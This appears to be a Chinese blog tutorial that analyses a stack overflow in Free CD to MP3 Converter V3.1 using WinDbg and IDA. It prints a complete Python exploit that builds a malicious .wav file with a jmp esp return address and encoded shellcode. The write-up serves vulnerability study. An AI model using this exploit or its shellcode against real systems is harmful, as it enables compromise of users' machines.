Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用
Free CD to MP3 Converter V3.1 棧溢出漏洞分析與利用
測試環境及工具:
windbg IDA winxp sp3這算是正式調試分析的第一個漏洞,也是跟著一位學長的博客做一個復現(原博客地址在文末)。這款軟件是一款音頻文件轉換的軟件,漏洞是未檢查輸入文件長度而導致的緩存區溢出。因為本地緩存溢出比較簡單,所以適合新手。具體分析如下:
這是原博客的exp
filename = "222222.wav" print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112 ret = "\xDC\x3A\xB4\x76" ## jmp esp from winmm.dll may be changed nopsled = "\x90" * 15shellcode = ("\xb8\xc7\xae\x8e\xae\xd9\xc7\x33\xc9\xb1\x31\xd9\x74\x24" "\xf4\x5b\x31\x43\x14\x83\xeb\xfc\x03\x43\x10\x25\x5b\x72" "\x46\x20\xa4\x8b\x97\x52\x2c\x6e\xa6\x40\x4a\xfa\x9b\x54" "\x18\xae\x17\x1f\x4c\x5b\xa3\x6d\x59\x6c\x04\xdb\xbf\x43" "\x95\xea\x7f\x0f\x55\x6d\xfc\x52\x8a\x4d\x3d\x9d\xdf\x8c" "\x7a\xc0\x10\xdc\xd3\x8e\x83\xf0\x50\xd2\x1f\xf1\xb6\x58" "\x1f\x89\xb3\x9f\xd4\x23\xbd\xcf\x45\x38\xf5\xf7\xee\x66" "\x26\x09\x22\x75\x1a\x40\x4f\x4d\xe8\x53\x99\x9c\x11\x62" "\xe5\x72\x2c\x4a\xe8\x8b\x68\x6d\x13\xfe\x82\x8d\xae\xf8" "\x50\xef\x74\x8d\x44\x57\xfe\x35\xad\x69\xd3\xa3\x26\x65" "\x98\xa0\x61\x6a\x1f\x65\x1a\x96\x94\x88\xcd\x1e\xee\xae" "\xc9\x7b\xb4\xcf\x48\x26\x1b\xf0\x8b\x8e\xc4\x54\xc7\x3d" "\x10\xee\x8a\x2b\xe7\x63\xb1\x15\xe7\x7b\xba\x35\x80\x4a" "\x31\xda\xd7\x53\x90\x9e\x26\xa5\x29\x0b\xbe\x1f\xd8\x76" "\xa2\xa0\x36\xb4\xdb\x22\xb3\x45\x18\x3a\xb6\x40\x64\xfd" "\x2a\x39\xf5\x6b\x4d\xee\xf6\xbe\x3e\x78\x09")PirateAL = junk+ret+nopsled+shellcode FILE = open(filename, "w") FILE.write(PirateAL) FILE.close() print "t1m3 f0r pwn4g3"因為要調試分析,所以把ret,nopsled和shellcode都換成字符’A’,如下所示:
filename = "test_poc.wav" print "cr34t1ng 3v1l f1l3"junk ="\x41" * 4112 ret = "\x41" * 4 ## jmp esp from winmm.dll may be changed nopsled = "\x41" * 15 shellcode = "\x41" * 227PirateAL = junk+ret+nopsled+shellcode FILE = open(filename, "w") FILE.write(PirateAL) FILE.close() print "t1m3 f0r pwn4g3"運行上面的python代碼生成一個test_poc.wav文件,復制到虛擬機winxp sp3的系統中,將Free MP3軟件用windbg打開,輸入命令g運行軟件,并且用Free MP3軟件打開test.wav文件,軟件崩潰。
windbg定位到崩潰地點。
(ee8.a9c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141 eip=41414141 esp=0228feac ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ??? *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -輸入命令kb查看棧回溯。
ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0228fea8 41414141 41414141 41414141 41414141 0x41414141 0228ffa0 004047fe 0228ffdc 00404374 0228ffb4 0x41414141 0228ffb4 7c80b713 00bcfeb4 001a5858 00000118 image00400000+0x47fe 0228ffec 00000000 004047d4 00bcfeb4 00000000 kernel32!GetModuleFileNameA+0x1b4可以看到在在沒有被覆蓋的棧幀中,最上面的是地址是004047fe處的函數,就是說在這個函數里面發生了崩潰。
接下來,重新載入Free CD軟件,在該函數入口處,即004047fc (004047fe的前一個位置) 處設置斷點,命令bp 004047fc,然后命令t,單步步入該函數。這里值得注意的是這個函數是第二次運行時才會觸發,所以初次停到這個位置的時候,再次運行g命令。
0:004> g Breakpoint 0 hit eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020 eip=004047fc esp=0179ffa8 ebp=0179ffb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x47fc: 004047fc ffd2 call edx {image00400000+0x24820 (00424820)} *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 0:004> t eax=00bd85e8 ebx=00bd3800 ecx=00000000 edx=00424820 esi=0100ffff edi=00000020 eip=00424820 esp=0179ffa4 ebp=0179ffb4 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x24820: 00424820 55 push ebp進入該函數后,使用p命令一直單步步入,知道遇到
0:002> g eax=00bc4380 ebx=00bcfeb4 ecx=00000000 edx=00492130 esi=00000118 edi=00166fe8 eip=00424854 esp=01b3ff78 ebp=01b3ffa0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 image00400000+0x24854: 00424854 ff5204 call dword ptr [edx+4] ds:0023:00492134=00493090 0:002> g (d10.c0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=41414141 ecx=00001106 edx=00001106 esi=41414141 edi=41414141 eip=41414141 esp=01b3feac ebp=41414141 iopl=0 nv up ei pl nz ac po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212 41414141 ?? ???由上可知,當調用00424854處的函數后,程序崩潰,那么就再進入這個函數看看。
重新載入該軟件,并且在00424854處設置斷點,然后單步步入該函數,繼續重復上述的步驟,接下來會套娃五到六次,分別執行到如下地址的函數:
004047fe | call edx {image00400000+0x24820 (00424820)} 00424854 | call dword ptr [edx+4] ds:0023:00492134=00493090 004930c4 | call dword ptr [edx+3Ch] ds:0023:0049d8a4=0049df40 0049df86 | call image00400000+0x92e78 (00492e78) 00492ea7 | call dword ptr [edx+44h] ds:0023:00494b54=0049358c 004935ed | call dword ptr [edx+68h] ds:0023:00494b78=00495590 00495603 | call image00400000+0x96f9c (00496f9c)最后一個函數就是漏洞函數,原因是,這個函數執行完成后,才觸發崩潰,而最后一個函數的地址是00496f9c。
用IDA打開該軟件,點擊G鍵,查找函數00496f9c,找到該函數以后F5,反匯編,可以看到該函數反匯編以后的C語言代碼。審計代碼,可以發現大概就是分不同的類型進行操作。其中case1的部分就是wave類型。其中主要的操作就是調用sub_4954F4函數。使用windbg在004954f4位置處設置斷點,然后持續運行,使用dd eax,dd eax前面的地址,還有ebx就會發現,這些位置的數值在不斷的增加,而且增加的數值就是字符’A’,可以得到在這一部分代碼就是不斷的在向緩存中輸入字符’A’。
現在的問題就是,在向緩存中輸入字符’A’時,有沒有限制或者有沒有可能超過限制。
在IDA的反匯編的C語言代碼中,有一個變量v3(實際操作中可能會有些改變),起作用就是計數器的作用,初值是4,每循環一次加4,最后有一個判斷,如果v3 >= 0x2000,則退出,也就是說這個變量的值可以是0x2000以內的值。匯編代碼中,其計數器作用的是ebx。
而這個函數的開頭是如下所示:
箭頭1所示的部分,作用它的作用就是,從這個偏移量開始讀入文件,即我們構造的’A’字符,它距離棧底的偏移量是1010h遠遠小于2000h所以可以構造字符串覆蓋返回地址,由開篇的poc驗證中,字符喜歡字節覆蓋掉ebp可得,該程序對返回地址沒有保護,所以可以使用jmp esp方法。
下面CODE:00496FBA處的代碼lea edx, [esp+101Ch+var_1010]的作用就是:將edx指向局部變量,后面將用它來保存讀取的文件內容,即我們構造的文件內容將會填充到??臻g。
字符串的結構如下:
首先是1010h的填充字符,即4112個字符,即junk ="\x41" * 4112;
其次是返回地址,即ret = “\xDC\x3A\xB4\x76”,該返回地址中的"\xDC\x3A\xB4\x76"是從,該軟件的導入的動態鏈接庫winmm.dll中找到的jmp esp命令地址。改地址也可以從kernel.dll中的尋找,具體的查找方法可以從0Day2中查看。
再其次是我們所使用的shellcode。該shellcode可以使用FSM得到。
最后,為防止shellcode數據被破壞,在shellcode前加上nopsled滑板,抬高棧頂保護數據。
最后是驗證,用Free CD打開test_poc.wav,程序崩潰。
參考:
學長博客
參考博客2
windbg教程
總結
以上是生活随笔為你收集整理的Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 图像放大算法介绍(转载)
- 下一篇: 格式化移动硬盘或者U盘,并设置为NTFS